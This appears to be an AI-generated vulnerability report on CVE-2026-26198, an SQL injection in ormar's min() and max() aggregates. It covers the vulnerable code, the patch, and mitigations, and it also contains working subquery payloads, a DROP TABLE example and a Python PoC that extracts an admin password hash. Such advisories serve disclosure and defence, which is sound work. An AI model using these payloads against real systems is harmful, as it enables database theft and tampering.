CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-26198
9.8

Ormar's Aggregate Amnesia: Critical SQL Injection in min() and max()

Alon Barad
Alon Barad
Software Engineer

Feb 24, 2026·6 min read·9 visits

PoC Available

Executive Summary (TL;DR)

Ormar versions 0.9.9 through 0.22.0 contain a critical SQL injection flaw. The library fails to validate column names passed to `min()` and `max()` functions, passing them directly to `sqlalchemy.text()`. This allows unauthenticated attackers to dump the entire database via subqueries.

A critical SQL injection vulnerability in the Ormar Python ORM allows attackers to execute arbitrary subqueries via the min() and max() aggregate functions. While numeric aggregates like sum() were validated, min/max inputs were passed directly to a raw SQL sink, bypassing sanitization.

The Hook: Trust Issues in Async Land

We rely on Object-Relational Mappers (ORMs) for two main reasons: laziness and safety. We don't want to write JOIN statements by hand, and we definitely don't want to think about escaping inputs. We assume that if we use the ORM's methods—like .filter(), .count(), or .max()—the library will handle the dirty work of sanitizing data before it hits the database driver.

But sometimes, that trust is misplaced. Enter ormar, a slick, asynchronous mini-ORM for Python that plays nice with FastAPI and Starlette. It’s fast, it’s modern, and until version 0.23.0, it had a gaping hole in how it handled basic statistics.

Imagine you have a public endpoint that displays the highest price of an item in your store. You grab the query parameter field and pass it to Item.objects.max(field). You expect ormar to complain if the field doesn't exist. Instead, ormar takes whatever string you give it, wraps it in a hug, and sends it straight to the database engine. If that string happens to be (SELECT password FROM users LIMIT 1), ormar happily asks the database: "What is the maximum value of the admin's password?"

The Flaw: A Tale of Two Validations

The root cause of CVE-2026-26198 is a classic case of "partial implementation." The developers actually did implement validation logic for aggregate functions, but they stopped halfway through.

In the ormar codebase, aggregate functions like sum(), avg(), min(), and max() all route through a central helper method. The logic for sum and avg is sound: these operations only make sense on numbers. If you try to sum a text column, the database throws a fit. So, the developers added a check: if the function is sum or avg, ensure the target column is numeric.

However, min() and max() are different. You can find the minimum value of a string (alphabetical order) or a date. Because these functions don't strictly require numeric types, the developers skipped the type check.

> [!WARNING] > The Fatal Mistake: They removed the type check but didn't replace it with an existence check.

Because they didn't verify that the input was actually a column defined in the model, the code proceeded to create a SelectAction with the raw user input. This input was eventually passed to sqlalchemy.text(), which tells SQLAlchemy: "Trust me, this string is safe SQL, just run it." Spoiler: It wasn't safe.

The Code: The Smoking Gun

Let's look at the vulnerable code in ormar/queryset/queryset.py. This is where the decision making happens.

The Vulnerable Logic

# Inside _query_aggr_function
select_actions = [
    SelectAction(select_str=column, model_cls=self.model) for column in columns
]
 
if func_name in ["sum", "avg"]:
    # This protects sum and avg because 'is_numeric' validation 
    # indirectly filters out complex SQL injection strings.
    if any(not x.is_numeric for x in select_actions):
        raise QueryDefinitionError(
            "You can use sum and avg only on numeric columns"
        )
 
# ... but if func_name is "min" or "max", we fall through here!
# The select_actions are used to build the query.

The Sink

The SelectAction class then takes that raw string and does the unthinkable in select_action.py:

def get_text_clause(self) -> sqlalchemy.sql.expression.TextClause:
    alias = f"{self.table_prefix}_" if self.table_prefix else ""
    # HERE IS THE INJECTION:
    return sqlalchemy.text(f"{alias}{self.field_name}")

By using sqlalchemy.text(), the library explicitly opts out of parameter binding for the column name. If self.field_name contains SQL syntax (like subqueries or comment characters), it gets executed.

The Exploit: Exfiltrating Data

Exploiting this is trivially easy if the application exposes the column selection to the user. An attacker doesn't need to break out of quotes because sqlalchemy.text() injects the payload as a raw expression.

The Setup

Target URL: GET /api/stats?metric=max&column=<PAYLOAD>

Step 1: Proof of Injection

We inject a subquery. If the database returns a result, we have code execution.

Payload: (SELECT 1337)

Resulting SQL:

SELECT max((SELECT 1337)) FROM items

Response: 1337

Step 2: Database Enumeration

Now we treat the max() function as a data oracle. We can dump table names from the master record.

Payload: (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table')

Step 3: Full Dump (Python PoC)

Here is a weaponized script to dump the admin_users table:

import httpx
 
TARGET = "http://vulnerable-app.com/stats"
 
# The injection payload targets the 'column' parameter
# We use a subquery to fetch the sensitive data.
sql_payload = "(SELECT password FROM admin_users WHERE username='admin')"
 
response = httpx.get(TARGET, params={
    "metric": "max",
    "column": sql_payload
})
 
print(f"[+] Admin Password Hash: {response.json()}")

Because the result of the subquery is passed to max(), the database evaluates the subquery first, returns the string (the password), and max() simply returns that string to the API response. It is a highly efficient, single-shot exfiltration vector.

The Impact: Why This Matters

This vulnerability is rated CVSS 9.8 (Critical) for a reason. It requires no authentication (assuming the endpoint is public), has low complexity, and results in total compromise of the database confidentiality and integrity.

  • Confidentiality: Attackers can read any table in the database, not just the one being queried. This includes user sessions, password hashes, and PII.
  • Integrity: Depending on the database backend (e.g., PostgreSQL with stacked queries enabled), an attacker might be able to inject ; DROP TABLE users; --.
  • Availability: Heavy subqueries can be injected to perform Denial of Service (DoS) attacks, locking database resources.

This isn't a complex memory corruption bug; it's a logic flaw in a high-level library that makes ormar applications vulnerable by default if they allow dynamic column selection.

The Fix: Whitelisting to the Rescue

The fix implemented in version 0.23.0 is simple but effective: Whitelisting. The library now checks if the requested column actually exists in the model's metadata before constructing the SQL query.

The Patch

In ormar/queryset/queryset.py, the developers added a check that applies to all aggregate functions, not just sum and avg:

# The fix:
if any(x.field_name not in x.target_model.model_fields for x in select_actions):
    raise QueryDefinitionError(
        "You can use aggregate functions only on existing columns of the target model"
    )

Mitigation Strategy

  1. Upgrade: Update ormar to version 0.23.0 immediately.
  2. Input Validation: Even with the patch, never pass raw user input directly to ORM functions. Use a Pydantic model or a hardcoded dictionary to map user-friendly query parameters (e.g., ?sort=price) to internal column names (e.g., item_price_usd).
  3. WAF Rules: Configure your WAF to block request parameters containing SQL keywords like SELECT, FROM, or parenthesis characters ().

Official Patches

GitHubCommit fixing the vulnerability
GitHub AdvisoryOfficial advisory with workaround and patch details

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Python applications using ormar < 0.23.0FastAPI services using ormar for database interactionStarlette applications using ormar

Affected Versions Detail

Product
Affected Versions
Fixed Version
ormar
collerek
>= 0.9.9, <= 0.22.00.23.0
AttributeDetail
CWE IDCWE-89 (SQL Injection)
CVSS Score9.8 (Critical)
Attack VectorNetwork
Privileges RequiredNone
Exploit MaturityProof of Concept (PoC) Available
Patch StatusAvailable (v0.23.0)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.006Command and Scripting Interpreter: Python
Execution
CWE-89
SQL Injection

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Known Exploits & Detection

Local PoCExploit demonstrated in security advisory extracting database schema via max()

Vulnerability Timeline

Vulnerability patched in commit a03bae1
2026-02-22
Public disclosure via GitHub Advisory
2026-02-23
CVE Published to NVD
2026-02-24

References & Sources

  • [1]Ormar GitHub Repository
  • [2]OSV Vulnerability Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.